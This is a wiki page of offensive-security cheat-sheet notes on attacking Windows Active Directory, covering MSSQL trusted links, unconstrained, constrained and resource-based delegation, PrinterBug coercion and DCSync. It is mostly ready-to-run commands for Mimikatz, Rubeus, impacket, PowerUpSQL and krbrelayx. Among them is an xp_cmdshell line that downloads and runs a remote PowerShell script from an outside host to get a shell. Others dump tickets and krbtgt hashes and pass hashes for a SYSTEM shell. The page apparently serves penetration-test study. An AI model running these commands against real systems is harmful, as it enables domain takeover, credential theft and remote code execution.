[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/mssql-trusted-links#mssql-trusted-links]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.psd1&lt;br /&gt;
Import-Module .\PowerupSQL.psd1&lt;br /&gt;
#Get local MSSQL instance (if any)&lt;br /&gt;
Get-SQLInstanceLocal&lt;br /&gt;
Get-SQLInstanceLocal | Get-SQLServerInfo&lt;br /&gt;
#If you don&#039;t have a AD account, you can try to find MSSQL scanning via UDP&lt;br /&gt;
#First, you will need a list of hosts to scan&lt;br /&gt;
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10&lt;br /&gt;
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them&lt;br /&gt;
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt&lt;br /&gt;
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test&lt;br /&gt;
# FROM INSIDE OF THE DOMAIN&lt;br /&gt;
#Get info about valid MSQL instances running in domain&lt;br /&gt;
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose&lt;br /&gt;
#Test connections with each one&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose&lt;br /&gt;
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)&lt;br /&gt;
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose&lt;br /&gt;
#Dump an instance (a lotof CVSs generated in current dir)&lt;br /&gt;
Invoke-SQLDumpInfo -Verbose -Instance &amp;quot;dcorp-mssql&amp;quot;&lt;br /&gt;
#Look for MSSQL links of an accessible instance&lt;br /&gt;
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd &amp;gt; 0&lt;br /&gt;
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose&lt;br /&gt;
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:&lt;br /&gt;
Get-SQLServerLinkCrawl -instance &amp;quot;&amp;quot; -verbose -Query &#039;EXECUTE(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;,1;reconfigure;&#039;&#039;) AT &amp;quot;&amp;quot;&#039;&lt;br /&gt;
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query &amp;quot;exec master..xp_cmdshell &#039;whoami&#039;&amp;quot;&lt;br /&gt;
#Obtain a shell&lt;br /&gt;
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query &#039;exec master..xp_cmdshell &amp;quot;powershell iex (New-Object Net.WebClient).DownloadString(&#039;&#039;http://172.16.100.114:8080/pc.ps1&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
#Check for possible vulnerabilities on an instance where you have access&lt;br /&gt;
Invoke-SQLAudit -Verbose -Instance &amp;quot;dcorp-mssql.dollarcorp.moneycorp.local&amp;quot;&lt;br /&gt;
#Try to escalate privileges on an instance&lt;br /&gt;
Invoke-SQLEscalatePriv –Verbose –Instance &amp;quot;SQLServer1\Instance1&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Delegations ==&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
This a feature that a Domain Administrator can set to any &#039;&#039;&#039;Computer&#039;&#039;&#039; inside the domain. Then, anytime a &#039;&#039;&#039;user logins&#039;&#039;&#039; onto the Computer, a &#039;&#039;&#039;copy of the TGT&#039;&#039;&#039; of that user is going to be &#039;&#039;&#039;sent inside the TGS&#039;&#039;&#039; provided by the DC &#039;&#039;&#039;and saved in memory in LSASS&#039;&#039;&#039;. So, if you have Administrator privileges on the machine, you will be able to &#039;&#039;&#039;dump the tickets and impersonate the users&#039;&#039;&#039; on any machine.&lt;br /&gt;
&lt;br /&gt;
So if a domain admin logins inside a Computer with &amp;quot;Unconstrained Delegation&amp;quot; feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What is DCSync attack?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A DCSync attack &#039;&#039;&#039;uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
# Export tickets with Mimikatz&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::tickets /export #Recommended way&lt;br /&gt;
kerberos::list /export #Another way&lt;br /&gt;
# Load the ticket of Administrator (or victim user) in memory with Mimikatz or Rubeus for a Pass the Ticket.&lt;br /&gt;
.\Rubeus.exe ptt /ticket:&lt;br /&gt;
&lt;br /&gt;
# Automatically compormise a print server&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation#automatically-compromising-a-print-server&lt;br /&gt;
.\SpoolSample.exe printmachine unconstrinedmachine&lt;br /&gt;
&lt;br /&gt;
# If the TGT is from a DC, you could perform a DCSync attack and get all the hashes from DC. https://www.youtube.com/watch?v=QfyZQDyeXjQ&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;lsadump::dcsync /user:krbtgt&amp;quot;&#039;&lt;br /&gt;
# Use secretsdump if my user have DCsync rights&lt;br /&gt;
python3 secretsdump.py aghanim:password@10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Unconstrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained (KUD) Unconstrained - The Hacker Recipes]&lt;br /&gt;
&lt;br /&gt;
[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#unconstrained-delegation OSEP Cheat Sheet | 0x4rt3mis]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
* Definition &amp;amp; Theory:&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation&#039;&#039;&#039;: An extension to Kerberos authentication to solve double-hop issue, allows a service to impersonate the user to other services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Issued after user login. Helps in obtaining service-specific tickets.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Service ticket&#039;&#039;&#039; (TGS): Obtained using TGT for a specific service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Unconstrained Delegation Flow&#039;&#039;&#039;:&lt;br /&gt;
User requests a TGS for a service, includes forwardable TGT.&lt;br /&gt;
&lt;br /&gt;
* KDC returns TGT with the forward flag and a regular TGS.&lt;br /&gt;
&lt;br /&gt;
* TGT embedded into the TGS, sent to service.&lt;br /&gt;
&lt;br /&gt;
* Service can impersonate the user for backend services.&lt;br /&gt;
&lt;br /&gt;
* Service accounts can also be configured with unconstrained delegation if the application executes in the context of the service account rather than the machine account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enumeration &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The information for unconstrained delegation is stored in the userAccountControl property as TRUSTED_FOR_DELEGATION, which is represented with a numerical value of 524288.&lt;br /&gt;
&lt;br /&gt;
==== Dumping TGT if a user already have authenticated ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using PowerView to enumerate&lt;br /&gt;
# This can also be done with BloodHound&lt;br /&gt;
Get-DomainComputer -Unconstrained&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION&lt;br /&gt;
# If you find a server thats vulnerable to unconstrained delegation you must perform lateral movement or compromise vulnerable application on the machine.&lt;br /&gt;
# We assume we have performed lateral movement&lt;br /&gt;
# First; Extracting User&#039;s TGTs:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# Then dump the tickets. In this example a webserver is running on the target. Since the webserver is configured with Windows Authentication, we have to wait for an admin to visit the website before we can dump the ticket for that admin user.&lt;br /&gt;
mimikatz # sekurlsa::tickets&lt;br /&gt;
# Export TGT:&lt;br /&gt;
mimikatz # sekurlsa::tickets /export&lt;br /&gt;
# Look for Ticket Granting Ticket (TGT) for the user of interest (e.g., admin).&lt;br /&gt;
# Inject the TGT into the Current Session:&lt;br /&gt;
mimikatz # kerberos::ptt [0;9eaea]-2-0-60a10000-admin@krbtgt-PROD.CORP1.COM.kirbi&lt;br /&gt;
# TGT for the admin user is now loaded in memory.&lt;br /&gt;
# Test Access:&lt;br /&gt;
PsExec.exe \\cdc01 cmd&lt;br /&gt;
# To use impacket-psexec&lt;br /&gt;
# 1 - Convert the .kirbi ticket to a .ccache file using a tool like kirbi2ccache.&lt;br /&gt;
# 2 - Set the KRB5CCNAME environment variable to the path of the .ccache file:&lt;br /&gt;
export KRB5CCNAME=/path/to/your/file.ccache&lt;br /&gt;
# 3 - use psexec.py&lt;br /&gt;
psexec.py -k -no-pass PROD.CORP1.COM/admin@dc01 cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Windows) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method that does not rely on user interaction&lt;br /&gt;
# Check if the print spooler service is running on the domain controller:&lt;br /&gt;
PS C:\Tools&amp;gt; dir \\cdc01\pipe\spoolss&lt;br /&gt;
# Now we will oerce the SYSTEM account to authenticate locally via the MS-RPRN RPC interface.&lt;br /&gt;
# Instead of using mimikatz to see through many TGTs we will use rubeus instead. This will not write to disk!&lt;br /&gt;
# Launch rubeus in monitor mode and filter for the machine account cdc01.&lt;br /&gt;
Rubeus.exe monitor /interval:5 /filteruser:CDC01$&lt;br /&gt;
# Trigger the print spooler change notification&lt;br /&gt;
# DC01 is target machine, APPSRV01 is capture server&lt;br /&gt;
SpoolSample.exe CDC01 APPSRV01&lt;br /&gt;
# Now inject the base64 encoded ticket&lt;br /&gt;
Rubeus.exe ptt /ticket:[Base64EncodedTicket]&lt;br /&gt;
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.&lt;br /&gt;
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt&lt;br /&gt;
# With krbtgt NTLM hash we can craft a golden ticket.&lt;br /&gt;
# We can also dump the hash for the domain admin and&lt;br /&gt;
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator&lt;br /&gt;
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7&lt;br /&gt;
[*] Requesting shares on 192.168.229.70.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file bUwUVqLI.exe&lt;br /&gt;
[*] Opening SVCManager on 192.168.229.70.....&lt;br /&gt;
[*] Creating service FyXV on 192.168.229.70.....&lt;br /&gt;
[*] Starting service FyXV.....&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.737]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PrinterBug (from Linux) ====&lt;br /&gt;
&lt;br /&gt;
[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.&lt;br /&gt;
# 0. Look for hostname and NTLM hash&lt;br /&gt;
impacket-secretsdump domain/user:password@targetIP&lt;br /&gt;
...&lt;br /&gt;
CORP\FILES01$NTLM-HASH&lt;br /&gt;
...&lt;br /&gt;
# 1. Edit the compromised account&#039;s SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)&lt;br /&gt;
addspn.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -s &#039;HOST/attacker.DOMAIN_FQDN&#039; --additional &#039;DomainController&#039;&lt;br /&gt;
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan&lt;br /&gt;
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account&#039;s SPNs&lt;br /&gt;
dnstool.py -u &#039;DOMAIN\CompromisedAccont&#039; -p &#039;LMhash:NThash&#039; -r &#039;attacker.DOMAIN_FQDN&#039; -d &#039;attacker_IP&#039; --action add &#039;DomainController&#039;&lt;br /&gt;
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d  DC1.foo.lan&lt;br /&gt;
# 3. Check that the record was added successfully (after ~3 minutes)&lt;br /&gt;
nslookup attacker.DOMAIN_FQDN DomainController&lt;br /&gt;
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)&lt;br /&gt;
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys&lt;br /&gt;
krbrelayx.py --krbsalt &#039;DOMAINusername&#039; --krbpass &#039;password&#039;&lt;br /&gt;
# 4.b. or supply the right Kerberos long-term key directly&lt;br /&gt;
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE&lt;br /&gt;
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword&lt;br /&gt;
# 5. Authentication coercion&lt;br /&gt;
# PrinterBug, PetitPotam, PrivExchange, ...&lt;br /&gt;
printerbug.py domain/&#039;vuln_account$&#039;@&#039;DC_IP&#039; -hashes LM:NT &#039;DomainController&#039;&lt;br /&gt;
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal&#039;s TGT.&lt;br /&gt;
# There should be a krbtgt ccache file in the current directory. And it can be used by&lt;br /&gt;
export KRB5CCNAME=`pwd`/&#039;krbtgt.ccache&#039;&lt;br /&gt;
$ python secretsdump.py -k DC1.foo.lan -just-dc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation ===&lt;br /&gt;
&lt;br /&gt;
If a user or computer is allowed for &amp;quot;Constrained Delegation&amp;quot; it will be able to &#039;&#039;&#039;impersonate any user to access some services in a computer&#039;&#039;&#039;. Then, if you &#039;&#039;&#039;compromise the hash&#039;&#039;&#039; of this user/computer you will be able to &#039;&#039;&#039;impersonate any user&#039;&#039;&#039; (even domain admins) to access some services.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# userAccountControl&lt;br /&gt;
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.&lt;br /&gt;
# msDS-AllowedToDelegateTo&lt;br /&gt;
# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.&lt;br /&gt;
&lt;br /&gt;
# Enumerate from PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
Get-DomainComputer -TrustedToAuth&lt;br /&gt;
&lt;br /&gt;
# Kekeo.exe and Mimikatz.exe&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d&lt;br /&gt;
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)&lt;br /&gt;
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL&lt;br /&gt;
# Load the TGS in memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Rubeus&lt;br /&gt;
# Obtain a TGT for the Constained allowed user&lt;br /&gt;
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi&lt;br /&gt;
# Obtain a TGS of the Administrator user to self&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator&lt;br /&gt;
# Obtain service TGS impersonating Administrator (CIFS)&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /outfile:TGS_administrator_CIFS&lt;br /&gt;
# Impersonate Administrator on different service (HOST)&lt;br /&gt;
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:&amp;quot;CIFS/dcorp-mssql.dollarcorp.moneycorp.local&amp;quot; /altservice:HOST /outfile:TGS_administrator_HOST&lt;br /&gt;
# Load ticket in memory&lt;br /&gt;
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Constrained Delegation 2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Self&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user&#039;s password or hash&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: If &#039;&#039;&#039;TRUSTED_TO_AUTH_FOR_DELEGATION&#039;&#039;&#039; is present in the useraccountcontrol property&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Functionality&#039;&#039;&#039;: Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Can use a &#039;&#039;&#039;forwardable TGS&#039;&#039;&#039; supplied by the user if Kerberos is used for authentication to the frontend service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have compromised a user IISsvc that has these delegation rights&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}&lt;br /&gt;
# First we are going to generate an NTLM hash from the password we compromised&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe hash /password:lab&lt;br /&gt;
# Requesting TGT for IISSvc with the asktgt command by supplying the&lt;br /&gt;
username (/user), domain (/domain), and NTLM hash (/rc4):&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E&lt;br /&gt;
# With the Base64-encoded TGT for IISSvc, we can use Rubeus&#039; s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service&#039;s SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.&lt;br /&gt;
PS C:\Tools&amp;gt; .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt&lt;br /&gt;
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.&lt;br /&gt;
PS C:\Tools&amp;gt; klist                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Current LogonId is 0:0x2b28f                                                                                                                                                                                                                                                                                                                                                                                                                                                              Cached Tickets: (1)                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #0&amp;gt;     Client: administrator @ PROD.CORP1.COM                                                                                                                                                                                                       Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM                                                                                                                                                                                  KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                              Ticket Flags 0x40a10000 -&amp;gt; forwardable renewable pre_authent name_canonicalize                                                                                                                                                               Start Time: 10/9/2023 12:42:35 (local)                                                                                                                                                                                                       End Time:   10/9/2023 22:35:29 (local)                                                                                                                                                                                                       Renew Time: 10/16/2023 12:35:29 (local)                                                                                                                                                                                                      Session Key Type: RSADSI RC4-HMAC(NT)                                                                                                                                                                                                        Cache Flags: 0                                                                                                                                                                                                                               Kdc Called:&lt;br /&gt;
.\SQL.exe&lt;br /&gt;
Auth success!&lt;br /&gt;
Logged in as: PROD\Administrator&lt;br /&gt;
...&lt;br /&gt;
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution&lt;br /&gt;
&lt;br /&gt;
# ATTACKING using kali and impacket&lt;br /&gt;
# First enumerate domain for constrained delegation using PowerView&lt;br /&gt;
Get-DomainUser -TrustedToAuth&lt;br /&gt;
# Look for&lt;br /&gt;
samaccountname           : iisservice&lt;br /&gt;
...&lt;br /&gt;
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}&lt;br /&gt;
...&lt;br /&gt;
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION&lt;br /&gt;
# Constrained delegation is configured for the iisservice account.&lt;br /&gt;
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.&lt;br /&gt;
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.&lt;br /&gt;
# Request a ticket. If you have a password remove -hashes&lt;br /&gt;
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de&lt;br /&gt;
# Export to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=iisservice.ccache&lt;br /&gt;
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.&lt;br /&gt;
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass&lt;br /&gt;
# Export the administrator ccache to KRB5CCNAME&lt;br /&gt;
export KRB5CCNAME=administrator.ccache&lt;br /&gt;
# Connect to sql01 using kerberos authentication&lt;br /&gt;
impacket-mssqlclient sql01.domain.com -k&lt;br /&gt;
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner&lt;br /&gt;
MSSqlPwner.py sql01.corp.com -k -no-pass interactive&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Resource based Constrained Deleagation ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It&#039;s designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Extensions - S4U2Self and S4U2Proxy&#039;&#039;&#039;&lt;br /&gt;
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Self (Extension 1)&#039;&#039;&#039;&lt;br /&gt;
This lets a service prove your identity to another service without needing your password, as if it&#039;s you. It&#039;s like the service can show a digital ID card that says, &amp;quot;Trust me, I&#039;m acting for this user.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;S4U2Proxy (Extension 2)&#039;&#039;&#039;&lt;br /&gt;
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It&#039;s as if the service has a special ticket that says, &amp;quot;The user has given me permission to do this.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RBCD Configuration&#039;&#039;&#039;: The delegation is controlled by the&#039;&#039;&#039; msDS-AllowedToActOnBehalfOfOtherIdentity&#039;&#039;&#039; property on the backend service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;: The need for &#039;&#039;&#039;SeEnableDelegationPrivilege&#039;&#039;&#039; permissions is eliminated. Backend service administrators can typically configure RBCD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Prerequisites&#039;&#039;&#039;: The frontend service must have an SPN set in the domain. While user accounts typically don&#039;t have an SPN set, all computer accounts do.&lt;br /&gt;
&lt;br /&gt;
See notes for Resourced box&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]&lt;br /&gt;
&lt;br /&gt;
[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.&lt;br /&gt;
# To check the MachineAccountQuota of the domain you can use:&lt;br /&gt;
Get-DomainObject -Identity &amp;quot;dc=domain,dc=local&amp;quot; -Domain domain.local | select MachineAccountQuota&lt;br /&gt;
# Check if you have GenericWrite on a computer object.&lt;br /&gt;
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like &#039;*GenericWrite*&#039; }&lt;br /&gt;
&lt;br /&gt;
# From Windows&lt;br /&gt;
# Attack&lt;br /&gt;
# Creating a Computer Object&lt;br /&gt;
# You can create a computer object inside the domain using :&lt;br /&gt;
Import-Module .\powermad.ps1&lt;br /&gt;
